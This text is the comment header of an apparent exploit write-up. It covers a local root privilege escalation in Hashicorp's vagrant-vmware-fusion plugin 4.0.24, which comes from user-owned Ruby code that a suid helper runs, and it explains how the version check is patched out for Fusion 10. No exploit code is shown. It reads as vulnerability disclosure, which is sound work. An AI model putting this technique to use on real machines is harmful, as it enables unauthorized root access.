# I have previously disclosed a couple of bugs in Hashicorp's vagrant-vmware-fusion plugin for vagrant.

# Unfortunately the 4.0.23 release which was supposed to fix the previous bug I reported didn't address the issue, so Hashicorp quickly put out another release
# - 4.0.24 - after that (but didn't update the public changelog on github).

# Unfortunately 4.0.24 is still vulnerable, largely due to a fundamental design flaw in the way the plugin is written combined with the need to elevate
# privileges for certain functions within Fusion.

# Because Hashicorp need users to be able to update the plugin as the local non-root user the encrypted ruby code that the plugin is comprised of must
# remain owned by the non-root user. This means there is a huge attack surface that we can exploit to manipulate the execution of the program and still get
# root on 4.0.24.

# I wrote this exploit before Fusion 10 was released and on the surface 4.0.24 is not compatible with Fusion 10. Curiously though it can be fairly easily tricked
# into working (at least partially) with Fusion 10 simply by patching out the version check and creating a symlink. I discovered this while trying to get the
# 4.0.24 exploit working with Fusion 10 installed - we can simply monkey-patch the version check out of the code, create a symlink for a binary that VMWare
# moved in v10 and then we're away. I was able to vagrant up and ssh into the running vm without any issues. It also means I was able to update the exploit so
# that it works on Fusion 8.x and Fusion 10.

# This seems to be (finally!) fixed properly in 4.0.25 by replacing the suid helper binary with a new go binary that contains all the required elevated
# operations and doesn't call back to the vulnerable ruby code.
